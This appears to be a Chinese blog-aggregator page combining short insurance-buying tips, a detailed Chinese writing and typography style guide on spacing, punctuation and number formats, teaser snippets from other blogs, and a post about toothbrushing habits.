选择大公司还是小公司
- 在中国，保险公司几乎是金融领域中最安全的机构。正所谓隔行如隔山，很多大家不熟悉甚至没听过的保险公司，其实资质是非常很雄厚的
- 同一家公司，既有性价比很高很良心的产品，又有品牌溢价非常高的产品
- 只要注意避开风评特别不好的公司和产品，然后适当做些比较，从中选择自己喜欢的产品就行
2022 年，我注册了两个互联网保险销售渠道，主要是自己卖给自己，获得一些佣金，补贴家用。
欢迎读者向我咨询购买，你可以在 这里 找到我的联系方式。
平安福为什么不值得买
- 平安福是一款终身寿险附加重疾和意外等保险的综合险
- 10 种高发轻症，平安福缺了 5 种（虽然多次赔付）
- 轻症病例把别的保险的一项拆成 3 项，滥竽充数
- 捆绑销售的意外险、医疗险、重疾险价格均远高于市场平均水平
后话
查询名下所有保单
- 关注公众号「中国保险万事通」
家庭保单管理表
- 买了保险之后，除了用 Excel 做一份 家庭保单管理表，还要把保险合同打印出来，一份自己留着，一份分享给家人。当不幸发生时，家人才能及时协助你理赔，保险公司可不会主动送钱给你。
保险违法行为举报电话
12378（工作日 9:00 至 17:00）
相关播客
- 保持通话 by 关哥；发刊词
- RSS Feed：https://justpodmedia.com/rss/insurancetips.xml
参考资料
- 博客 庭说 2017-12-05 00:00:00
评价一个科技媒体或者设计师是否专业，我会看中英文之间是否空一格，因为美好的文字值得用更优雅更干净的方式呈现。
国外的一些科技公司（Apple、Google、Microsoft……）和国内的一些科技媒体（少数派、好奇心日报、Readhub……），在中英文混排时，会在全形字（中文）和半形字（英文、数字、符号等）之间添加一个半角空格，以增加视觉美感。
大概在 2018 年 1 月份，微信也悄悄地跟进了这种排版美学。例如，你在微信聊天框输入
庭说TingTalk并发送，会自动变成庭说 TingTalk。拼写正确
尊重专有名词的正确写法，是写作 / 排版的第一步：
✔️ ❌ App、app APP App Store Appstore a.m. am、AM、A.M.（上午） email E-mail、Email GitHub Github、github Google google iOS IOS iPhone XS Max Iphone xs MAX macOS MacOS kg KG、Kg km Km、KM Markdown MarkDown OK ok P.S. PS、ps、Ps. Siri siri WeChat Wechat、wechat WhatsApp Whatsapp、whatsapp Wi-Fi WIFI、WiFi、wifi YouTube Youtube 4K 4k 1080p 1080P 登录 登陆 账号 帐号、账户、帐户 英文拼写错误
❗ ️大写有突出强调的作用，意味着这个单词或者句子很重要。
句首字母大写
- ❌ how are you?
- ✔️ How are you?
专有名词大写
- ❌ Happy mid-autumn festival
- ✔️ Happy Mid-Autumn Festival（连字符用最短的 hyphen
-）
I（我）在任何时候都大写- ❌ I am a slow walker, but i never walk back.
- ✔️ I am a slow walker, but I never walk back.
- 📝 我走得很慢，但是我从来不会后退。by 亚伯拉罕·林肯（Abraham Lincoln）
internet首字母不再大写- 一开始的 Internet 首字母是大写（特殊的专有名词），随着互联网的普及，它不再特殊，所以被降级成 internet。
l
App
- App 念作 [æp] ，而非 A-P-P（爱啪啪）。
- 当用于标题或首字母时，写作「App」，当用于正文泛指时写作「app」。
- App 的复数形式是「apps」。
符号拼写错误
罗马数字
- ✔️ I、Ⅱ、Ⅲ（它们是一个整体）
- ❌ I、II、III（用一个或多个大写字母 I 代替）
根据读者反馈，以上写法待验证。
乘号
- ✔️ ×（微软拼音输入
cheng即可弹出正宗的乘号） - ❌ 字母 x 或 X 代替
借助搜索引擎、官方网站和维基百科，你不难找到专有名词应该怎么写。
来自 Anyway.FM 的 UI 行业英文术语聚合：Anyway.ABC 安妮薇术语小词典
多空一格
行文时，请务必在全角字符（汉字）和半角字符（字母、数字或符号）之间空一格（半角空格）。混排时，通过刻意增加空格的方式，会让段落看起来不那么「拥挤」，增加中英混排的美感。
中文与英文之间增加空格
- ✔️ 通过 Google 搜索引擎，你可以更快地找到想要的信息。
- ❌ 通过Google搜索引擎，你可以更快地找到想要的信息。
- 📝 「豆瓣FM」等专有产品名词，按照官方所定义的格式书写。
中文与数字之间增加空格
- ✔️ 2016 年 4 月 29 日，公众号「庭说」发出第 1 篇文章。
- ❌ 2016年4月29日，公众号「庭说」发出第1篇文章。
中文与链接之间增加空格
数字与单位之间增加空格
- ✔️ iPhone XS 显示屏的像素密度是 458 ppi，最大亮度（标准）是 625 cd/m²。
- ❌ iPhone XS 显示屏的像素密度是 458ppi，最大亮度（标准）是 625cd/m²。
- 📝 我的手机可用储存空间只剩 1GB 了。（在 Apple 的排版哲学中，这是个特例。是否要空一格，看你的个人选择。）
排版工具
- Chrome 扩展程序：为什么你们就是不能加个空格呢？
- 空格派：中英文混排自动空格并自动调整部分英文名称的书写规范。
标点符号
长文本中穿插的符号就像湖面上泛起的波澜、绸缎上镶嵌的装饰，为版面带来节奏和纹理。对我来说，这一个理由便足够了——美本身就是值得追求的。by PlatyHsu
中文标点符号必须使用全角字符。排版时，它们占用的宽度等于一个中文字符，例如
。；而英文一般使用半角标点符号。排版时，它们占用的宽度等于半个中文字符，例如.- ✔️ 三毛说：「心若没有栖息的地方，到哪里都是在流浪。」
- ❌ 三毛说:「心若没有栖息的地方,到哪里都是在流浪. 」
- ✔️ 请确认所有的连接（电缆和接插件）均安装牢固。
- ❌ 请确认所有的连接(电缆和接插件)均安装牢固。
- 📝 请确认所有的连接 (电缆和接插件) 均安装牢固 (Apple 的做法：半角括号 + 前后空格)。
完整的英文句子，用半角标点符号
- ✔️ 乔布斯说过：「Stay hungry, stay foolish.」
- ❌ 乔布斯说过：「Stay hungry，stay foolish。」
关联阅读
中文符号
感叹号
！不到万不得已，坚决不用感叹号。平和地表达，才能发出理性的声音。
- ✔️ 心平气和地表达自己的看法，尽量避免使用感叹号！
- ❌ 心平气和地表达自己的看法，尽量避免使用感叹号！！！（不要重复使用标点符号）
- 📝 当句子包含疑问、感叹两种语气都比较强烈时（如带有强烈感情的反问句和带有惊愕语气的疑问句），可在问号后再加叹号，例如「这点困难就能把我们吓倒吗？！」
省略号
……如何输入：
- ✔️ 切换到中文输入法，
Shift + 6（在主键盘的字母 T 上方）即可输入正确的省略号…… - ❌ 多个中文句号代替
。。。或多个英文句点代替......
省略号不应与「等」这个词一起使用：
- ❌ 我们为会餐准备了香蕉、苹果、梨…等各色水果。
- ✔️ 我们为会餐准备了各色水果，有香蕉、苹果、梨……
- ✔️ 我们为会餐准备了香蕉、苹果、梨等各色水果。
逗号
，- 逗号表示句子内部的一般性停顿。
- 注意避免「一逗到底」，即整个段落除了结尾，全部停顿都使用逗号。
顿号
、并列形容词之间用顿号：
- ✔️ 这里有自由、民主、平等、开放的风气和氛围。
- ❌ 这里有自由，民主，平等，开放的风气和氛围。
最后一项内容前已经用了「及」、「以及」、「和」等字样，则最后一项前不再使用顿号：
- ✔️ 警方还组织数千民兵专门看护桥梁、过街天桥、涵洞和道口等重点部位。
- ❌ 警方还组织数千民兵专门看护桥梁、过街天桥、涵洞、和道口等重点部位。
不能用
，代替顿号、：- ✔️ 警方还组织数千民兵专门看护桥梁、过街天桥、涵洞等重点部位。
- ❌ 警方还组织数千民兵专门看护桥梁，过街天桥，涵洞等重点部位。
如果并列的是短句，应使用逗号：
- ✔️ 我问了他很多问题，三年前在干什么，两年前在干什么，今后打算干什么……
- ❌ 我问了他很多问题、三年前在干什么、两年前在干什么、今后打算干什么……
标有引号的并列成分之间、标有书名号的并列成分之间通常不用顿号。若有其他成分插在并列的引号之间或并列的书名号之间（如引语或书名号之后还有括注），宜用顿号：
- ✔️ ️️「日」「月」构成「明」字。
- ✔️ 店里挂着「顾客就是上帝」「质量就是生命」等横幅。
- ✔️ 《红楼梦》《三国演义》《西游记》《水浒传》是我国长篇小说的四大名著
- ✔️ 李白的「白发三千长」（《秋浦歌》）、「朝如青丝暮成雪」（《将进酒》）都是脍炙人口的诗句。
括号
（ ）中文夹用英文注释，用中文全角圆括号标示注释：
- ✔️ The Beatles（1968）有一首歌，题为《除了我和我的猴子人人都想捂藏一点东西》（Everybody's Got Something to Hide except Me and My Monkey），这首歌后来音乐家称之为《猴子》。
- ❌ The Beatles(1968)有一首歌，题为《除了我和我的猴子人人都想捂藏一点东西》(Everybody's Got Something to Hide except Me and My Monkey)，这首歌后来音乐家称之为《猴子》。
句子末尾用括号加注时，句号应在括号之外：
- ✔️ 关于文件的输出，请参照第 1.3 节（见第 26 页）。
- ❌ 关于文件的输出，请参照第 1.3 节（见第 26 页。）
波浪号
～梨园乡种植的巨风葡萄今年已经进入了丰产期，亩产 1000 公斤 ~ 1500 公斤。
这句话使用了错误的（半角）波浪号
~（U+007E TILDE）作为（全角）浪纹号～（U+FF5E FULLWIDTH TILDE）来标示数值范围的起止。如何输入正确的浪纹号？以微软拼音为例：
- 切换到全角状态（
Shift+ Space） Shift+~（Esc 的下方）- 切换回半角状态，接着输入其他内容
因此，输入正确的浪纹号是一件很麻烦的事，推荐使用
至或者到代替～：亩产 1000 公斤至 1500 公斤。英文符号
使用英文（半角）标点符号
- ❌ I’m Tim。（使用中文全角标点符号）
- ✔️ I'm Tim.
标点符号后面空一格
- ❌ Mr.Zhong
- ✔️ Mr.
- ❌ We need seven people:three students,three engineers,and a professor.
- ✔️ We need seven people:
每句话与上一句的标点之间一定要有空格。空格是分隔单词用的，如果前后两句话之间没有空格，那么上一句的最后一个词，和下一句的第一个词，就连在一起了。比如「I_am_here._It_is_8:00_now.」 如果写成「I am here.It is 8:00 now.」，那么「here.it」这样是不规范的，只有同一个词中才会出现这样的写法，比如「a.m.」、「U.S.A.」，中间没有空格，看做是一个词。上边的「here.it」甚至可能被一些网站当成是链接网址，因为「.it」是一个域名，网址中间是不加空格的。
如果英文与中文同时存在，英文单词和中文之间应该加一个半角空格。比如「今天 CNN 的报道我看了。」「There_is_a_木_in_the_Chinese_character_树.」等等。
成对符号（括号和引号）前后空一格
- ❌ The screen is 6.46 inches(iPhone XS Max)diagonally.
- ✔️ The screen is 6.46 inches
- ❌ He said,"I may forget your name,but I never forget a face."
- ✔️ He said,
在某些 Style Guide 中，纵使在中文语境下，也会将（中文）全角括号替换为 (英文) 半角括号，并在括号外添加半角空格（两个连续的标点之间不添加空格）：
iPhone SE 可防溅、抗水、防尘，在受控实验室条件下经测试，其效果在 IEC 60529 标准下达到 IP67 级别 (在最深 1 米的水下停留时间最长可达 30 分钟)。by Apple
省略号
- ❌ Juan thought and thought…and then thought some more.（省略号前后没有空格）
- ❌ Juan thought and thought ... and then thought some more.（三个英文句号代替省略号）
- ✔️ Juan thought and thought … and then thought some more. （省略号是一个整体，不可分割）
表示中文时，英文省略号（
⋯）应改为中文省略号（……）：- 英文： 5 minutes later⋯
- 中文： 5 分钟过去了⋯⋯
⌨️ 如何输入省略号
- Android（安卓手机）：你肯定能找到它
- iOS（苹果手机和苹果平板）：长按英文键盘上的句号
- macOS（苹果电脑）：
Option + ;（分号键） - Windows 电脑：
- 方法一：
Alt + 0133（按住 Alt，依次在右侧的小键盘上输入0133） - 方法二：在中文输入状态下，按
Shift + 6（字母 T 上方的^），再删除一半，然后再切换回英文输入状态
- 方法一：
小数点
不严谨地说，东方世界是万位计数法（1 2345 6789.10），而西方世界则是千位计数法（123 456 789.10）。不管是哪一种计数法，在数额巨大时，插入定界符（delimiter）可以方便读者辨识这串数字到底有多大。而在西文中，由于小数点符号（decimal separator 或 decimal mark）的使用习俗不同，会间接影响到千分位符号（也称千位分隔符，group separator）的选择，所以这些写法在不同国家会代表不同数值：
12,345、12.345、12,345.678与12.345,678。小数点用来分隔数字的整数部分与小数部分。如
3.14中的.，但地球是圆的：- 汉语地区和大多的英语地区：使用
.句点（full stop）作为小数点 - 大多的其他欧洲国家和其前殖民地：使用
,逗号（comma）作为小数点
长串数字 千分位 小数点 常用于 125,124,024.25 ,.英美 125.124.024,25 .,欧洲 125 124 024,25 ,国际单位制（逗号地区） 125 124 024.25 .国际单位制（句点地区） 参考资料
表并列
中文：不要用逗号代替顿号
- ❌ 警方还组织数千民兵专门看护桥梁，过街天桥，涵洞等重点部位。
- ✔️ 警方还组织数千民兵专门看护桥梁、过街天桥、涵洞等重点部位。
英文：用逗号表示并列关系（不存在顿号）
- ❌ We need seven people: three students、three engineers、and a professor.
- ✔️ We need seven people:
不存在的标点符号
顿号
没有顿号
、，用逗号,表并列：She slowly, carefully, and deliberately moved the box.书名号
英文中没有书名号
《》，用斜体（Italic，意大利体）表示书名：- The title of Stephen R. Covey’s book is The 7 Habits of Highly Effective People.
英文书名或电影名改用中文表达时，双引号应改为书名号：
- 英文： He published an article entitled "The Future of the Aviation".
- 中文：他发表了一篇名为《航空业的未来》的文章。
关联阅读
- The Punctuation Guide（美式标点符号使用指南）
- 英文标点要如何排版？- 壹坊AWORKZON
- 17 rules for using commas correctly without looking like a fool - Juliana Kaplan
其他符号
多空一格
运算符
- ✔️ 20 ± 2%、p < 0.01、1 + 1 = 2
- ❌ 20±2%、p<0.01、1+1=2
版权标识 ©
- ✔️ Copyright © 2019 TingTalk 保留所有权利。
- ❌ Copyright©2019 TingTalk 保留所有权利。
摄氏度符号与数字之间
通常情况最好用「°C」，即「度数符号（U+00B0 ° DEGREE SIGN，十进制 176）」然后加上英文大写字母 U+0043 C LATIN CAPITAL LETTER C，而非用兼容概有 CJK 编码的兼容字元 U+2103 ℃ DEGREE CELSIUS，十进制 8451；后者在大部分字型都是全形字元。
如何输入
- Windows
°：按Alt不放，然后按0176（数字部分要用键盘右方的数字区输入），完成后放开Alt键；或者在微软拼音里输入du。C：再按Shift+C，就可以打出°C。
- macOS：
°：以「爱尔兰－延伸」输入法为例，按Alt/Option+Shift+8。C：再按Shift+C，就可以打出°C。
以上内容节选自 维基百科
- ✔️ 科学家通过分析卫星数据发现地球的最低温出现在南极东部高原，达到零下 100 °C。
- ❌ 科学家通过分析卫星数据发现地球的最低温出现在南极东部高原，达到零下 100°C。
不必空格
货币符号与数字之间
- ✔️ 一碗原味猪肉汤饭只要 ￥10。
- ❌ 一碗原味猪肉汤饭只要 ￥ 10。
百分号与数字之间
百分号（%）不是单位，因此应该紧挨在数字后面。
- ✔️ 去年营业额增长 5%
- ❌ 去年营业额增长 5 %
倍数与单位之间
- ✔️ 2x、3n
- ❌ 2 x、3 n
关联阅读
其他规范
时间
- ✔️ 12:05（半角冒号）
- ❌ 12:5（未补零）
- ❌ 12：5（全角冒号）
日期
样式一
- ✔️ 2018-09-07（推荐）
- ✔️ 2018.09.07
- ❌ 2018-9-7
样式二：
- ✔️ 2018 年 9 月 7 日（简洁醒目）
- ✔️ 二零一八年九月七日（庄重典雅）
- ❌ 2018年09月07日
数字
农历月日
- ✔️：腊月二十三、八月十五中秋节（选用汉字数字）
- ❌：腊月23、8月15中秋节
阿拉伯数字与汉字数字同时使用
- 如果一个数值很大，数值中的「万」和「亿」单位可以采用汉字数字，其余部分采用阿拉伯数字。例如：我国 1982 年人口普查人数为 10 亿零 817 万 5288 人
- 除上面情况之外的一般数值，不能同时采用阿拉伯数字与汉字数字。例如：108 可以写作「一百零八」，但不应写作以「1 百零 8」「一百 08」；4000 可以写作「四千」，但不应写作「4 千」
参考资料
数值范围
表示区间时，保留两端的单位。
- ✔️ 梨园乡种植的巨风葡萄今年已经进入了丰产期，亩产 1000 公斤至 1500 公斤。（或用
到） - ⚠️ 梨园乡种植的巨风葡萄今年已经进入了丰产期，亩产 1000 公斤 ～ 1500 公斤。（浪纹号
～） - ❌ 梨园乡种植的巨风葡萄今年已经进入了丰产期，亩产 1000 ~ 1500 公斤。（波浪号
~） - ✔️ 此事件有 5% 至 10% 的可能性发生。
- ❌ 此事件有 5至10% 的可能性发生。
- ✔️ 56 mm ± 2 mm、（56 ± 2）mm、（56 ± 1）%
- ⚠️ 10 × 15 × 20 mm（特例）
- ⚠️ 10 mm × 15 mm × 20 mm（过于冗余？存疑）
连接号
（全形）浪纹号（颚化符） 波浪号 ～~U+FF5E FULLWIDTH TILDE U+007E TILDE 占一个汉字的位置 占半个汉字的位置 全角模式下， Shift+~（Esc的下方）半角模式下， Shift+~（Esc的下方）如何输入正确的浪纹号
～来标示数值范围的起止？以微软拼音为例：- 切换到全角状态（
Shift+Space） Shift+~（Esc的下方）- 切换回半角状态（
Shift+Space），接着输入其他内容
因此，输入正确的浪纹号是一件很麻烦的事，推荐使用
至或者到代替～：-20°C 至 -10°C。有序列表
✔️ 在小数点后面空一格（参考 Markdown 的写法）1. 静音2. 关机3. 睡觉❌ 未在小数点后空一格1.静音 2.关机 3.睡觉 ---✔️ 顿号后面不用空一格1、静音 2、关机 3、睡觉 ❌ 顿号后面空一格1、 静音 2、 关机 3、 睡觉电话号码
- ✔️ 156 1024 1024（3-4-4 的格式，方便记忆和拨号）
- ❌ 15610241024
首行顶格
- 段落首行缩进 2 个字符是纸媒时代的旧习，文章的排版像狗啃了一样
- 在数字时代（特别是在移动端）
- 首行顶格
- 段落之间用空行隔开
争议之处
以下用法略带有个人色彩，如有高见，欢迎与我（微信号：804 976 336）讨论。
项目列表句末不加分号或句号
✔️
- 早上吃鸡蛋和水果
- 中午吃蔬菜沙拉和鱼
- 晚上吃番薯和一小碗饭
- 睡前喝一瓶纯牛奶
❌
- 早上吃鸡蛋和水果；
- 中午吃蔬菜沙拉和鱼；
- 晚上吃番薯和一小碗饭；
- 睡前喝一瓶纯牛奶。
📝（长句例外）
- 人生第一境界：昨夜西风凋碧树。独上高楼，望尽天涯路。
- 人生第二境界：衣带渐宽终不悔，为伊消得人憔悴。
- 人生第三境界：众里寻他千百度。蓦然回首，那人却在，灯火阑珊处。
「直角引号」代替“蝌蚪”引号
理由
- “蝌蚪”引号在数字世界容易渲染出错，是半角还是全角？是英文还是中文，飘忽不定。
- 直角引号与方块字（汉字）更契合，但并未不是国标和主流排版届的共识。
- 克制使用引号，避免句子被切得太碎。
输入
注意
- 当引号表示讽刺、反语暗示时，使用弯引号：工作使我“快乐”。
『』为二级引号，即「」是最外层的引号。
Ta 们
- 📝 虽然「他们」在表达上可以泛指男女，但在形式上给人单指男性的印象，所以我推荐使用「他（她）们 / ta 们 / Ta 们 / TA 们」泛指自己和对方以外的若干人（有男有女）
- ✔️ 将来我们有了孩子，给他（她）取名字一定不能草率了。
- ✔️ 将来我们有了孩子，给 Ta 取名字一定不能草率了。
其他 VS 其它
- 其他：指人
- 其它：指事件、物、地方等
少用斜体
西文中有两种形状倾斜的字体：Oblique type 和 Italic type，倾斜后字形也发生的变化的是「意大利体」（Italic Type），而单纯将原字体向右倾斜而没有形变的称为伪斜体（Oblique type）。中文（汉字）的斜体实际上都是单纯将字面从正方形改为平行四边形的“伪斜体”。传统排版中，汉字一般不使用斜体。电脑的普及给字体变形带来了极大方便，才将西文这一习惯延伸到中文。by 维基百科
少用下划线
下划线是打字机时代的产物。在当代，它作为 超链接（URL） 的标识，不作为强调。
风格指南
中文风格
好文章所具备的 3 个标志：
- 文字简单清晰
- 用词恰如其分
- 描写精准、服务主题
用词精确
指代明确
使用代词时（比如
其、该、此、这等词），必须明确指代的内容，保证只有一个含义。- ❌ 从管理系统可以监视中继系统和受其直接控制的分配系统。
- ✔️ 从管理系统可以监视两个系统：中继系统和受中继系统直接控制的分配系统。
用对
的、地、得- 形容词＋的＋名词：她露出了开心的笑容。
- 副词＋地＋动词：她开心地笑了。
- 动词＋得＋副词：她笑得很开心。
变化程度
了表示增量，到表示定量。- 增加到过去的两倍（过去为一，现在为二）
- 增加了两倍（过去为一，现在为三）
不能用
降低 N 倍或减少 N 倍的表示法，要用降低百分之几或减少百分之几。因为减少（或降低）一倍表示数值原来为一百，现在等于零。用语正式
在我看来，好的文字应该是长命的，缓释的价值越多，文字越高级。高级的文字并不着力于哗众取宠的爆发，而是有与众不同的角度和观点。我们会本能的高估短期，而低估长期，文字的价值如是，生活工作也是。by 二爷（邱岳）
少用网络流行语或谐音词，比如「蓝瘦香菇」、「吃枣药丸」、「图样图森破」等，因为多年以后，晚辈可能无法领悟这些速朽的辞藻，例如：
- Lady Gaga 的演唱会真是酷毙了，从没看过这么给力的表演！！！
不推荐只有特定人群才了解的语词，例如：
- 魔改（即做特殊的优化）。或者插入行话时，列出必要的解释。
此外还有：
- 粉丝： 不要称呼喜欢我们的用户为「粉丝」，可以换成「用户」或「读者」。因为粉丝的说法显得不平等，而且很多人不喜欢这种称呼，它含有缺乏独立思考的意思。
- 你和您：在不是很正式或没有明确的个体指代对象的时候请用「你」，如文档、博客、群发的邮件等；在指代特定个体时请用「您」，如活动邀请函等。
- 不使用「温馨提示」一词。
表达干练
现在你看文件越来越厚，但里面包含的信息量越来越少。我们经常在我们开某一次会以后，出个什么文件，然后又组织好多人去辅导。按理说一般有文字阅读能力的人，有知识的人都应该能看明白，但事实上我们没有办法看明白，就因为这文件里包含着好多的词汇，它与它本身的含义是不一样的。by 张维迎 谈语言腐败（文字稿 | YouTube）
我们崇尚精练的文风。请在检查中把对表达意思没有明显作用的字、词、句删除，在不影响表达效果的前提下把文案长度减到最短。
- 单个句子的长度尽量保持在 20 个字以内。
- 20 个至 29 个字的句子，可以接受。
- 30～39 个字的句子，语义必须明确，才能接受。
- 多于 40 个字的句子，在任何情况下都不能接受。
例如：
- ❌ 本产品适用于从由一台服务器进行动作控制的单一节点结构到由多台服务器进行动作控制的并行处理程序结构等多种体系结构。
- ✔️ 本产品适用于多种体系结构。无论是由一台服务器（单一节点结构），还是由多台服务器（并行处理结构）进行动作控制，均可以使用本产品。
少用形容词
- ❌ 此设备的使用必须在接受过本公司举办的正式的设备培训的技师的指导下进行。
- ✔️ 此设备必须在技师的指导下使用，且指导技师必须接受过由本公司举办的正式设备培训。
少用复合句
尽量使用简单句和并列句：
- ❌ 那个昨天生病的人没有参加会议。
- ✔️ 他昨天生病了，没有参加会议。
少用连词
连词用得过多，会影响句子的节奏和美感。
比如，清风徐来，水波不兴，这句话就暗含了因果关系，但我们写的时候，难道要写成，因为清风徐来，所以水波不兴吗？
再比如，秦末天下大乱，群雄并起，这句话也暗含了因果关系，按照中文写作的习惯，没有必要写成，由于秦末天下大乱，群雄并起。by 涵柏
少用万能动词
比如造成、进行这样的弱动词：
- ❌ 飞机失事，造成一百多人死亡。
- ✔️ 飞机失事，死了一百多人。
结构清晰
多用主动语态
中文的正常表达，是主语 + 动词 + 名词，要改变句式顺序，一定要有特别的原因。例如强调主语不如意或遇到出乎意料的情况。
- ❌ 蛇把小王咬了。
- ✔️ 小王被蛇咬了。
因为蛇和我们并不同类，很难引起我们的共鸣，把小王放在主语位置，既突出了小王的不如意，也能让读者有一种强烈的代入感。
想写一篇文章，谈快餐对中国文化的影响：
- ❌ 中国人越来越喜欢快餐……
- ✔️ 快餐逐渐被中国人喜欢……
因为文章主旨就是为了强调快餐。
更多的例子如下：
- ❌ 假如此软件尚未被安装……
- ✔️ 假如尚未安装这个软件……
- ❌ 他被选为议长。
- ✔️ 他当选为议长。
多用肯定句
同样一个意思，尽量使用肯定句表达，不使用否定句表达。
- ❌ 请确认没有接通装置的电源。
- ✔️ 请确认装置的电源已关闭。
少用双重否定句
- ❌ 没有删除权限的用户，不能删除此文件。
- ✔️ 用户必须拥有删除权限，才能删除此文件。
关联阅读
英文风格
复数
英文原文如果使用了复数形式，翻译成中文时，应该将其还原为单数形式。
- 英文：⋯information stored in random access memory (RAMs)⋯
- 中文：……存储在随机存取存储器（RAM）里的信息……
缩写
第一次出现英文词汇时，在括号中给出中文标注。此后再次出现时，直接使用英文缩写即可。
IOC（International Olympic Committee，国际奥林匹克委员会）。这样定义后，便可以直接使用「IOC」了。
译名
品牌、产品名、人名、地名等特殊名词，如果来自英文，请使用英文以避免在不同译法之间选择。
文档名称
- 文档的文件名不得含有空格。
- 文件名建议只使用小写字母，不使用大写字母（可以提高打字速度）。
- ❌ TroubleShooting.md
- ✔️ troubleshooting.md
- 📝 为了醒目，某些说明文件的文件名，可以使用大写字母，比如
README、LICENSE。
- 文件名包含多个单词时，单词之间建议使用半角的连字符（
-）分隔。- ❌ advanced_usage.md
- ✔️ advanced-usage.md
文章结构
原则
- 一个段落只表达一个主题。
- 段首：用一个中心句点题，对全段内容进行概述。
- 段中：为核心句服务。
- 段尾：扣题。
- 一个段落的长度不能超过七行，最佳段落长度小于等于四行。
标题
层级
- 一级标题（h1）：文章的标题
- 二级标题（h2）：文章主要部分的大标题
- 三级标题（h3）：二级标题下面一级的小标题
- 四级标题（h4）：三级标题下面某一方面的小标题
原则
- 一级标题下，不能直接出现三级标题。
- 标题要避免孤立编号（即同级标题只有一个）。
- 下级标题不重复上一级标题的内容。
- 谨慎使用四级标题，尽量避免出现，保持层级的简单和防止出现过于复杂的章节。如果三级标题下有并列性的内容，建议只使用项目列表（Item list）。
文章引言
文章引言非常重要。它的作用主要是用于网站首页展示和微博分享，它是为了吸引读者阅读文章而存在，它的目的是让读者能够仅通过这一小段话，就能迅速了解到这篇文章的大致内容。因此，引言实际就是文章的「内容概要」，而非文章的开头首段。
我们建议通常在写完整篇文章后，再结合内容大纲撰写引言。引言务必要讲清两个问题：
- 是什么？（例如：这是一款什么应用？这篇文章是讲的什么？）
- 为什么？（例如：这款应用之所以被推荐，是由于它有哪些特色/亮点？）
引言的语言文字务必要清晰、直观、简洁，通常字数需控制在 90 字左右。
引用规范
引用第三方内容时，应注明出处。
One man's constant is another man's variable. — Alan Perlis
如果是全篇转载，请在全文开头显著位置注明作者和出处，并链接至原文。
本文转载自 「安卓果酱」的写作规范。
若文章为部分编译，则需在文末注明作者和出处。
本文部分内容编译自 Apple。
本文部分观点来自「小道消息」的微博。
如果格式不允许超链接，请以文本方式直接给出原文链接。如果原文链接太长影响美观，可以使用短链接服务。
本文转载自 WikiQuote：http://bit.ly/UlHIdN
使用外部图片时，必须在图片下方或文末标明来源。
本文部分图片来自 Wikipedia。
题图来自：《春娇与志明》截图。
参考资料
- 视频：几件小事，快速拯救你的排版 - oooooohmygosh
- 中文技术文档写作风格指南 - yikeke：比本篇写得更详细，推荐阅读。
- 文风指南 - 泛化智能（gi）
- 写作风格手册 - 好奇心日报
- 中文技术文档的写作规范 - 阮一峰
- 中文文案排版指北（简体中文版）
- 漫言文案排版规范
- 知乎的问题修改规范有哪些？
- 中英文混排时中文与英文之间是否要有空格？ - 知乎
- 少数派写作排版指南
- 为什么你们就是不能加个空格呢？- 少数派
- 浅谈微信推文编辑 - 荷戟独彷徨
- 「安卓果酱」的写作规范
- 文案风格指南 - LeanCloud
- 在线发布文章的排版规范 - 班班
- 学术写作指要 - M-x Chris-An-Emacser
- [护城河]人机交互的基石｜苹果字体设计排版深度解析_哔哩哔哩_bilibili
关联阅读
最后有一个不情之请：希望看到这里的读者可以帮我扩散这篇文章。因为一看到中英文之间没有空一格，我就浑身难受。所以每多一人采用这份《写作风格手册》，我就可以少加一些空格。多出来的时间，我就可以浪费在美好的事物上面了。
- 博客 Jiajun的编程随想 2017-12-02 08:00:00《算法导论阅读笔记 --- 排序算法》> 这篇文章是我在学习算法导论之后的笔记排序算法，无论是在工作上还是面试中，都是经常遇到的问题。话不多说，我们一个一个来回忆。为了方便理解，我们总是假设输入的...
- 博客 Jiajun的编程随想 2017-11-29 08:00:00《短链系统的实现》简单的代码在：https://github.com/jiajunhuang/links其中主要的就是，通过 https://github.com/jiajunhuang/links/blob/master/codes.go#L9...
- 博客 Jiajun的编程随想 2017-11-29 08:00:00《Git HTTPS 如何保存密码》读了一下 `git-credential-store` 的manual。在项目下执行 `git config credential.helper store` 然后 `git push` 输入密码之后，家目录下就会多出一个文件...
- 博客 Jiajun的编程随想 2017-11-13 08:00:00《程序员修炼之道 阅读笔记》> 本文是程序员修炼之道的阅读笔记和自己的经历以及思考- 提供各种选择,不要找蹩脚的借口...
- 博客 庭说 2017-11-06 00:00:00
早上刷牙出门体面，晚上刷牙刺激性欲。
为何刷牙
笑得开心
论身材，短短。看相貌，平平。扫视躯壳，牙齿是我为数不多满意的部位。所以拍照的时候，我总爱露出八颗门牙，笑得特别浮夸。
谈得舒心
我的自制力不强，但对刷牙却有不一般的执念，就算熬到大半夜，也要把牙刷了再入寝。因为稍作松懈，牙就黄了，与人交谈，甚不友好。纵使身体没有退避三尺，心里也不免「敬」你三分。
吃得放心
人可以不笑不说话，但总不能不吃饭。一口伴随一生的好牙，才能不对美食说「不」。在口腔卫生上，绝不能「先污染再治理」，现在不注重口腔健康，一旦上了年纪，你可以拒绝保温杯，但高压锅可能是少不了了。一些倔强的肉类，不压压，实在难以下嘴。
如何刷牙
刷牙，刷的是细菌，即牙菌斑，是牙石的前身。牙菌斑像一块膜，紧紧地黏在牙齿上，像抽油烟机上的油污，冲水（漱口）是去不掉的，必须用力擦（刷牙）。
- 请使用 巴士刷牙法（视频演示）：牙刷斜 45° 放在牙齿和牙龈交界的位置；左撇子尽量从右侧的牙齿开始刷。
- 早（中）晚各一次：建议进食后再刷牙，早上起床后，先简单漱口后就进食，然后再刷牙，就可以保证直到吃中饭前，口腔都是清新的感觉。
- 刷牙时间最少 2 分钟。
- 定期（半年至一年）洗牙。
- 牙龈出血不可怕，越是出血的地方越是要好好刷。
更多刷牙相关的详细知识，请参阅 许桐楷老师的微信公众号。
电动牙刷
对于不大部分手动刷牙的人来说，要么拉大锯，要么太大力，最大的不足是，没刷够时间（ 2 分钟以上）。所以我推荐大家买一个的电动牙刷，有效地清除口腔死角。而且带有自动计时，不知不觉就刷完了。
我从 2017 年开始使用声波震动式电动牙刷，它是一个你用了就回不去的小物件。好的生活，没那么贵，也就小几百块。赶紧趁机入手，早日解放双手。从 2022 年 2 月，我开始使用旋转式电动牙刷，清洁力更强，但是好像比较伤牙。
假若你动手能力强，自制力也不差，掌握正确的刷牙方法（巴氏刷牙法），手动刷牙一样可以起到有效清洁的作用。
关联阅读
- 面壁实验室：5 块钱的牙膏和 50 块的牙膏有什么不同？- 吴松磊
- 别再花冤枉钱了，8 块钱和 78 块钱的牙膏到底有什么区别 - 柴知道
- 如何护理好口腔健康？- 子不语Rex
